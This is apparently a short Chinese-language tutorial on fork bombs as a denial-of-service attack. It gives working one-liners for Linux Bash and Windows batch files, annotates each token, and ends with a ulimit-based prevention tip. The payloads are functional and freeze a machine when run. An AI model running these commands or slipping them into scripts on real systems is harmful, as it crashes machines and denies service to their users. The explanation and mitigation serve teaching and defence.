警告
本文只做研究用途,切勿用作其他非法用途,可参考破坏计算机信息系统罪。 运行文中代码可能对你的计算机造成一定损害(卡死),请慎重运行。
Fork炸弹(fork bomb)在计算机领域中是一种利用系统调用fork(或其他等效的方式)进行的拒绝服务攻击(DOS)。fork炸弹以极快的速度创建大量进程(进程数呈以2为底数的指数增长趋势),并以此消耗系统分配予进程的可用空间使进程表饱和,而系统在进程表饱和后就无法运行新程序,除非进程表中的某一进程终止,它可以利用在windows/linux等系统。
linux系统
POC
1 | :(){ :|:& };: |
注解
:() |
定义函数,函数名为”:”,即每当输入”:”时就会自动调用{}内代码 |
{ |
“:”函数起始字元 |
: |
用递归方式调用”:”函数本身 |
| |
用管道(pipe)将其输出引至…(因为有一个管道操作符,因此会生成一个新的进程) |
: |
另一次递归调用的”:”函数 # 综上,”: |
& |
后台运行,以使最初的”:”函数被关闭后其所调用的两个”:”函数还能继续执行 |
} |
“:”函数終止字元 |
; |
“:”函数定义结束后将要进行的操作… |
: |
调用”:”函数,”引爆”fork炸弹 |
Windows系统
POC
1 | %0|%0|%0 |
将上面代码存为 .bat 文件,双击即可运行.
注释
%0 |
输出自己本身,也就是.bat,在cmd中即表示运行.bat |
| |
就是打开自身后的程序再打开.bat |
预防
一个防止其严重影响系统的方法就是限定一个用户能够创建的进程数的上限,在Linux系统上,可以通过ulimit这个指令达到相应的效果。